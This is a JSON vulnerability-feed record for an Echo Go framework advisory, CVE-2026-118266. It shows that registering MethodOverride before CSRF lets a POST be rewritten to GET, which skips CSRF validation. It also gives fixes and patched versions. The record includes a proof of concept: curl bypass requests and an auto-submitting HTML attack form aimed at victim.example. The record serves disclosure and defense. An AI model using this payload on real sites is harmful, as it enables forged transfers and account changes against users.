{"id":"CVE-2026-118266","kind":"vulnerability","aliases":["CVE-2026-118266","GHSA-r7w9-592q-9vg4"],"related":[],"title":"Echo has CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method","description":"## Summary\n\nThe `MethodOverride` middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When `MethodOverride` is registered before `CSRF` in the post-routing middleware chain (`e.Use()`), it rewrites the request method to a safe method before `CSRF` evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern `Sec-Fetch-Site` protection path are bypassed simultaneously.\n\n## Affected Component\n\n- `middleware/method_override.go` — `MethodOverrideConfig.ToMiddleware()` (lines 55–71): no whitelist on the override target method\n- `middleware/csrf.go` — `CSRFConfig.ToMiddleware()` (lines 188–189): safe-method bypass branch reads the already-rewritten method\n- `middleware/csrf.go` — `checkSecFetchSiteRequest()` (line 283): `Sec-Fetch-Site` safe check also reads the rewritten method\n\n## Description\n\n### MethodOverride accepts safe methods as override targets\n\n`MethodOverrideConfig.ToMiddleware()` (`method_override.go:55-71`) restricts the **source** method (only POST requests are overrideable) but applies no whitelist to the **target**:\n\n```go\n// method_override.go:61-67\nreq := c.Request()\nif req.Method == http.MethodPost {\n    m := config.Getter(c)\n    if m != \"\" {\n        req.Method = m   // ← any non-empty string accepted, including \"GET\"\n    }\n}\n```\n\nThe docstring's security claim — \"For security reasons, only POST method can be overridden\" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to `GET`, `HEAD`, `OPTIONS`, or `TRACE`. The test suite (`method_override_test.go`) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.\n\n### CSRF safe-method branch reads the already-rewritten method\n\n`CSRFConfig.ToMiddleware()` (`csrf.go:188-189`) makes its validation decision based on `c.Request().Method` at the time it runs:\n\n```go\n// csrf.go:188-189\nswitch c.Request().Method {\ncase http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:\n    // skip validation — no token check\ndefault:\n    // validate CSRF token\n```\n\nIf MethodOverride has already run and set `req.Method = \"GET\"`, this `switch` falls into the skip branch regardless of the original HTTP method or what handler was matched.\n\nThe `Sec-Fetch-Site`-based path in `checkSecFetchSiteRequest()` (`csrf.go:283`) is identically vulnerable:\n\n```go\n// csrf.go:283\nisSafe := slices.Contains(safeMethods, c.Request().Method)\n```\n\nWith `req.Method = \"GET\"` (already rewritten), `isSafe = true` and the function returns `true` — the request is allowed even when `Sec-Fetch-Site` is `cross-site`. **Both** CSRF protection paths are bypassed in a single step.\n\n### Execution chain\n\nIn `echo.go:700`, routing and middleware wrapping are performed in one step:\n\n```go\nh = applyMiddleware(e.router.Route(c), e.middleware...)\n```\n\n1. `e.router.Route(c)` evaluates with `req.Method = \"POST\"` → matches and binds the POST `/transfer` handler\n2. `applyMiddleware` wraps it: `MethodOverride → CSRF → postHandler`\n\nAt request execution time:\n3. **MethodOverride** runs: `req.Method == \"POST\"` → reads form field `_method` = `\"GET\"` → `req.Method = \"GET\"` → calls `next`\n4. **CSRF** runs: `c.Request().Method` = `\"GET\"` → `case http.MethodGet` → **skips token validation** → calls `next`\n5. **postHandler** runs (the handler matched in step 1 — the original POST `/transfer` state-change handler)\n\nThe state-changing handler executes with no CSRF token validation and with no `Sec-Fetch-Site` check.\n\n### The missing target-method whitelist is the root cause\n\nThe legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.\n\n## Proof of Concept\n\n```go\npackage main\n\nimport (\n    \"net/http\"\n    echo \"github.com/labstack/echo/v5\"\n    \"github.com/labstack/echo/v5/middleware\"\n)\n\nfunc main() {\n    e := echo.New()\n    // MethodOverride before CSRF — both in e.Use() (post-routing)\n    e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{\n        Getter: middleware.MethodFromForm(\"_method\"),\n    }))\n    e.Use(middleware.CSRF())\n    e.POST(\"/transfer\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"transfer executed\")\n    })\n    e.Logger.Fatal(e.Start(\":18080\"))\n}\n```\n\n```bash\n# Baseline — CSRF correctly blocks a POST without a valid token\ncurl -i -X POST 'http://127.0.0.1:18080/transfer' \\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data 'amount=100'\n# HTTP/1.1 400 Bad Request (missing CSRF token)\n\n# Bypass — _method=GET rewrites method before CSRF runs, skipping token validation\ncurl -i -X POST 'http://127.0.0.1:18080/transfer' \\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data '_method=GET&amount=100'\n# HTTP/1.1 200 OK\n# transfer executed\n\n# Browser-based CSRF PoC (attacker's page, auto-submits on load):\n# <form method=\"POST\" action=\"https://victim.example/transfer\" id=\"f\">\n#   <input name=\"_method\" value=\"GET\">\n#   <input name=\"amount\" value=\"1000\">\n#   <input name=\"to\" value=\"attacker_account\">\n# </form>\n# <script>document.getElementById('f').submit();</script>\n```\n\nThe same bypass works with `MethodFromHeader` (`X-HTTP-Method-Override: GET`) and `MethodFromQuery` (`?_method=GET`).\n\n## Impact\n\n- Any state-changing endpoint protected by `CSRF()` is reachable without a valid CSRF token when the vulnerable middleware ordering is present\n- The `Sec-Fetch-Site` modern-browser CSRF protection is bypassed simultaneously — browsers that support `Sec-Fetch-Site` provide no additional defense\n- Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation\n- Audit logs may record `GET` as the HTTP method for what were actually state-changing operations\n\n## Recommended Remediation\n\n### Option 1: Whitelist only unsafe methods as override targets in `MethodOverride` (preferred)\n\nThe root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:\n\n```go\n// method_override.go — illustrative fix\nvar allowedOverrideMethods = map[string]bool{\n    http.MethodPut:    true,\n    http.MethodPatch:  true,\n    http.MethodDelete: true,\n}\n\n// in ToMiddleware:\nif req.Method == http.MethodPost {\n    m := config.Getter(c)\n    if m != \"\" && allowedOverrideMethods[m] {\n        req.Method = m\n    }\n}\n```\n\n### Option 2: Use `e.Pre()` for `MethodOverride` and document the ordering requirement\n\nPlacing MethodOverride in `e.Pre()` (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST `/transfer` is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in `e.Use()` when CSRF middleware is also registered:\n\n```go\n// MethodOverride returns a MethodOverride middleware.\n//\n// IMPORTANT: Register this middleware with e.Pre(), not e.Use().\n// If registered with e.Use() before CSRF middleware, method rewriting\n// occurs after route matching but before CSRF validation, allowing\n// attackers to bypass CSRF token checks by specifying _method=GET.\nfunc MethodOverride() echo.MiddlewareFunc {\n```\n\nOption 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).\n\n## Patches\n\nFixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. The MethodOverride middleware no longer overrides a POST to `GET`, `HEAD`, `OPTIONS`, `TRACE` or `CONNECT`.\n\n## Workarounds\n\nRegister MethodOverride with `Echo#Pre` (as documented), register CSRF before MethodOverride, or use the default header getter (`X-HTTP-Method-Override`), which a cross-site form cannot set.","summary":"When MethodOverride runs before CSRF in Echo's post-routing middleware chain, a form field or header can rewrite a POST to GET, HEAD, OPTIONS or TRACE. CSRF then treats the request as safe and skips its token and Sec-Fetch-Site checks, so a state-changing POST handler runs without a CSRF check.","severity":"medium","cvss":5.3,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/labstack/echo/v5","fixed":["5.4.0"],"affected":">= 5.0.0, < 5.4.0","ecosystem":"go"},{"name":"github.com/labstack/echo/v4","fixed":["4.16.0"],"affected":"< 4.16.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-352","echo","go","package","web-backend"],"not_affected_if":["default-config","no-method-override"],"how_to_check":"- Look for `MethodOverride` or `MethodOverrideWithConfig` registered with `e.Use()` rather than `e.Pre()` alongside `CSRF()` in the Go source\n- Check the module version with `go list -m github.com/labstack/echo/v5` or `go list -m github.com/labstack/echo/v4` and compare against `5.4.0` and `4.16.0`","fix":"- Upgrade `github.com/labstack/echo/v5` to `5.4.0` or later\n- Upgrade `github.com/labstack/echo/v4` to `4.16.0` or later\n- Until upgraded, register MethodOverride with `e.Pre()` or register CSRF before MethodOverride","status":"open","published_at":"2026-10-28T19:53:36+00:00","first_seen_at":"2026-10-28T19:56:29+00:00","triaged_at":"2026-10-28T19:56:42+00:00","updated_at":"2026-10-28T19:56:42+00:00","category":"package","confidence":0.9,"triage":{"at":"2026-10-28T19:56:42Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `github.com/labstack/echo/v5` to `5.4.0` or later\n- Upgrade `github.com/labstack/echo/v4` to `4.16.0` or later\n- Until upgraded, register MethodOverride with `e.Pre()` or register CSRF before MethodOverride","reach":"internet","title":"Echo: MethodOverride lets a POST become GET and skip CSRF checks","impact":"medium","summary":"When MethodOverride runs before CSRF in Echo's post-routing middleware chain, a form field or header can rewrite a POST to GET, HEAD, OPTIONS or TRACE. CSRF then treats the request as safe and skips its token and Sec-Fetch-Site checks, so a state-changing POST handler runs without a CSRF check.","category":"package","nicknames":[],"who_cares":["go","echo","web-backend"],"confidence":0.9,"needs_auth":"no","worst_case":"State-changing POST handlers run without CSRF token validation","analyst_note":"","how_to_check":"- Look for `MethodOverride` or `MethodOverrideWithConfig` registered with `e.Use()` rather than `e.Pre()` alongside `CSRF()` in the Go source\n- Check the module version with `go list -m github.com/labstack/echo/v5` or `go list -m github.com/labstack/echo/v4` and compare against `5.4.0` and `4.16.0`","needs_analyst":false,"not_affected_if":["default-config","no-method-override"],"who_is_affected":"Applications using the Echo v5 release line from 5.0.0 before 5.4.0, or Echo v4 before 4.16.0, that use the MethodOverride middleware together with CSRF middleware and register MethodOverride after routing. Applications that do not use MethodOverride, or that register it with e.Pre(), are not exposed by this flaw.","user_interaction":"yes","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.001016,"input_tokens":6735,"output_tokens":685,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-118266':15A,23A '-189':354C,370C '-2026':14A,22A '-352':31B '-67':265C '-71':246C '/labstack/echo/v4':29A '/labstack/echo/v5':26A '/transfer':502C,554C '1':490C,550C '188':208C '189':209C '2':504C '283':224C '3':515C '4':529C '5':542C '55':196C '592q':19A '71':197C '9vg4':20A 'accept':99C,238C,283C 'affect':191C 'allow':162C,450C,595C 'alreadi':218C,349C,391C,438C 'already-rewritten':217C,348C 'also':231C 'alway':627C 'appli':257C 'applymiddlewar':486C,505C 'backend':37B 'base':359C,420C 'bind':499C 'block':340C 'branch':214C,345C,403C 'bypass':5A,189C,213C,466C 'c':273C,488C,492C 'c.request':267C,361C,372C,433C,532C 'call':527C,540C 'case':374C,535C,591C 'caus':587C 'chain':50B,134C,472C 'chang':87B,165C,557C,562C 'check':82B,94B,173C,230C,383C,577C 'checksecfetchsiterequest':222C,423C 'claim':290C 'compon':192C 'config.getter':272C 'cross':459C 'cross-sit':458C 'csrf':3A,42B,66B,93B,127C,146C,150C,172C,341C,386C,462C,509C,530C,567C 'csrf.go:188':353C,369C 'csrf.go:283':424C,429C 'csrfconfig.tomiddleware':206C,352C 'cve':13A,21A 'cwe':30B 'decis':358C 'default':384C 'delet':330C,605C 'descript':236C 'docstr':287C 'e.middleware':489C 'e.router.route':487C,491C 'e.use':135C 'echo':1A,32B,44B 'echo.go:700':474C 'empti':103C,281C 'evalu':147C,493C 'even':451C 'execut':169C,471C,513C,564C 'express':629C 'fall':399C 'fetch':80B,184C,227C,418C,455C,575C 'field':53B,522C 'form':52B,521C,597C,618C 'function':444C 'get':61B,113C,285C,318C,335C,396C,437C,524C,526C,534C,624C 'get/post':601C 'ghsa':17A 'ghsa-r7w9-592q-9vg4':16A 'github.com':25A,28A 'github.com/labstack/echo/v4':27A 'github.com/labstack/echo/v5':24A 'go':33B,263C,368C,428C,484C 'guard':311C 'h':485C 'handler':89B,167C,412C,503C,546C,558C,563C 'head':62B,114C,319C 'header':55B 'html':596C,617C 'http':408C 'http.methodget':375C,536C 'http.methodhead':376C 'http.methodoptions':377C 'http.methodpost':270C 'http.methodtrace':378C 'ident':426C 'includ':110C,284C 'issaf':430C,440C 'legaci':176C 'legitim':589C,612C 'line':195C,207C,223C 'm':271C,275C,277C 'make':355C 'match':414C,497C,547C 'method':12A,109C,112C,140C,144C,161C,204C,212C,220C,235C,240C,250C,296C,306C,344C,351C,362C,373C,409C,434C,523C,533C,582C 'method_override.go:55':245C 'method_override.go:61':264C 'method_override_test.go':326C 'methodoverrid':7A,39B,97C,123C,237C,389C,508C,516C,593C 'methodoverrideconfig.tomiddleware':194C,244C 'middlewar':49B,98C,133C,151C,477C 'middleware/csrf.go':205C,221C 'middleware/method_override.go':193C 'miss':579C 'modern':181C 'need':619C 'never':337C 'next':528C,541C 'non':102C,280C 'non-empti':101C,279C 'now-saf':158C 'one':482C 'option':63B,115C,320C 'origin':407C,552C 'overrid':107C,202C,242C,255C 'overridden':299C 'packag':34B 'patch':607C 'path':178C,187C,421C,464C 'perform':480C 'post':9A,47B,59B,88B,120C,131C,166C,252C,295C,313C,329C,332C,334C,496C,501C,519C,553C,622C 'post-rout':46B,130C 'posthandl':510C,543C 'prevent':312C 'protect':4A,186C,463C 'put':333C,604C 'r7w9':18A 'read':215C,232C,346C,520C 'reason':293C 'refer':300C 'regardless':404C 'regist':125C 'req':266C 'req.method':269C,276C,395C,436C,495C,518C,525C 'request':70B,121C,139C,253C,448C,512C,608C 'restrict':247C,307C 'return':445C 'rewrit':8A,57B,118C,137C,621C 'rewritten':219C,234C,316C,350C,439C 'root':586C 'rout':48B,132C,475C 'run':40B,90B,367C,392C,517C,531C,544C 'safe':11A,72B,111C,143C,160C,211C,229C,239C,343C 'safe-method':210C,342C 'safemethod':432C 'scenario':613C 'sec':79B,183C,226C,417C,454C,574C 'sec-fetch-sit':78B,182C,225C,416C,453C,573C 'secur':289C,292C 'send':603C 'set':394C 'simultan':190C 'singl':469C 'site':81B,185C,228C,419C,456C,460C,576C 'skip':74B,153C,379C,402C,537C 'slices.contains':431C 'sourc':249C,305C 'source-method':304C 'state':86B,164C,556C,561C 'state-chang':85B,163C,555C,560C 'step':470C,483C,549C 'string':104C,282C 'suit':325C 'summari':95C 'support':600C 'switch':371C,398C 'target':108C,203C,243C,262C,581C 'target-method':580C 'test':324C,328C,338C 'time':365C,514C 'token':76B,154C,177C,382C,387C,538C,568C 'trace':65B,116C,322C 'treat':68B 'true':441C,446C 'use':590C 'valid':155C,357C,380C,385C,539C,569C 'via':6A 'vulner':427C 'web':36B 'web-backend':35B 'whitelist':199C,259C,583C 'without':91B,170C 'wrap':478C,506C","nicknames":[],"mitigations":[],"who_affected":"Applications using the Echo v5 release line from 5.0.0 before 5.4.0, or Echo v4 before 4.16.0, that use the MethodOverride middleware together with CSRF middleware and register MethodOverride after routing. Applications that do not use MethodOverride, or that register it with e.Pre(), are not exposed by this flaw.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-28T19:53:36+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-r7w9-592q-9vg4","url":"https://github.com/advisories/GHSA-r7w9-592q-9vg4","severity":"medium","published_at":"2026-10-28T19:53:36+00:00","modified_at":"2026-10-28T19:53:37+00:00","first_seen_at":"2026-10-28T19:56:29+00:00","fetched_at":"2026-10-28T19:56:29+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-118266","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118266","severity":null,"published_at":"2026-10-28T20:17:21+00:00","modified_at":"2026-10-28T20:17:21+00:00","first_seen_at":"2026-10-28T20:35:10+00:00","fetched_at":"2026-10-28T20:35:11+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}